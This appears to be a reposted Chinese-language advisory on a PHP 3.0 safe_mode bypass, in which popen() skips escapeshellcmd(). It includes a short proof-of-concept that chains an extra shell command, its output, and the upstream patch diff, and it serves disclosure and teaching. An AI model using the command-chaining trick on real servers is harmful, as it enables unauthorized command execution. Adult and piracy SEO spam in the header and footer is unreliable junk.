国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > PHP > 正文

PHP3 safe_mode 失效漏洞

2024-05-04 23:02:06
字體:
來源:轉載
供稿:網友

受影響的系統:  php 3.00  
--------------------------------------------------------------------------------
描述:
  
    php version 3.0是一個html嵌入式腳本語言。其大多數語法移植于c、java和perl并結合了
php的特色。這個語言可以讓者快速創建動態網頁。
   
    因其執行在web服務器上并允許用戶執行代碼,php內置了稱為'safe_mode'的安全特性,
用于控制在允許php操作的webroot環境中執行命令。
   
    其實現機制是通過強制執行shell命令的系統調用將shell命令傳送到escapeshellcmd()
函數,此函數用于確認在webroot目錄外部不能執行命令。
   
    在某些版本的php中,使用popen()命令時escapeshellcmd()卻失效了,造成惡意用戶可
以利用'popen'系統調用進行非法操作。
  
--------------------------------------------------------------------------------
測試程序:
  
警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
  
<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>
   
輸出結果如下:
   
1
total 53  
-rwxr-xr-x 1 root root 52292 jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建議:  
index: functions/file.c
===================================================================
rcs file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| authors: rasmus lerdorf <[email protected]> |
+----------------------------------------------------------------------+
*/
-/* $id: file.c,v 1.229 2000/01/01 04:31:15 sas exp $ */
+/* $id: file.c,v 1.230 2000/01/03 21:31:31 kk exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if have_pwd_h
#if msvc5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
file *fp;
int id;
- char *p;
+ char *p, *tmp = null;
char *b, buf[1024];
tls_vars;
   
@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}
   
- fp = popen(buf,p);
   
+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(e_warning,"popen("%s","%s") - %s",buf,p,strerror(errno));
return_false;  
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 布尔津县| 海口市| 杭锦旗| 五大连池市| 扬州市| 鄢陵县| 尉氏县| 柏乡县| 临安市| 扶绥县| 萨迦县| 海南省| 绥化市| 黄浦区| 大姚县| 太湖县| 金塔县| 固始县| 平遥县| 百色市| 苏尼特左旗| 波密县| 阜康市| 弥渡县| 田阳县| 河南省| 龙岩市| 尚志市| 岱山县| 城市| 斗六市| 崇信县| 宜兰县| 米易县| 南溪县| 镇雄县| 屏东县| 同德县| 玉屏| 正宁县| 新泰市|